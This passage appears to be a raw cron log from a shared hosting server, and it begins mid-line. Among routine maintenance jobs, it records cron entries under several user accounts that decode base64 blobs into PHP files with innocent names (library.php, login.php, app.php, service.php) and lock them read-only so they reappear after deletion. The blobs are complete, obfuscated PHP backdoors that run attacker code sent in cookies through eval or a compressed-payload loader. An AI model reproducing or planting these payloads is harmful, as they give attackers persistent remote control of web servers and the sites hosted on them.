"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:18:01 medusa CROND[4294]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:18:01 medusa CROND[4298]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:18:01 medusa CROND[4299]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:18:01 medusa CROND[4304]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:18:01 medusa CROND[4308]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:18:01 medusa CROND[4300]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:19:02 medusa CROND[28472]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:19:02 medusa CROND[28473]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:19:02 medusa CROND[28474]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:19:02 medusa CROND[28475]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:19:02 medusa CROND[28476]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:19:02 medusa CROND[28477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:19:02 medusa CROND[28478]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:19:02 medusa CROND[28480]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:19:02 medusa CROND[28481]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:19:02 medusa CROND[28489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:19:02 medusa CROND[28491]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:19:02 medusa CROND[28492]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:20:01 medusa CROND[21127]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:20:02 medusa CROND[21240]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:20:02 medusa CROND[21242]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 18:20:02 medusa CROND[21241]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:20:02 medusa CROND[21243]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:20:02 medusa CROND[21244]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:20:02 medusa CROND[21248]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 18:20:02 medusa CROND[21249]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:20:02 medusa CROND[21251]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:20:02 medusa CROND[21255]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
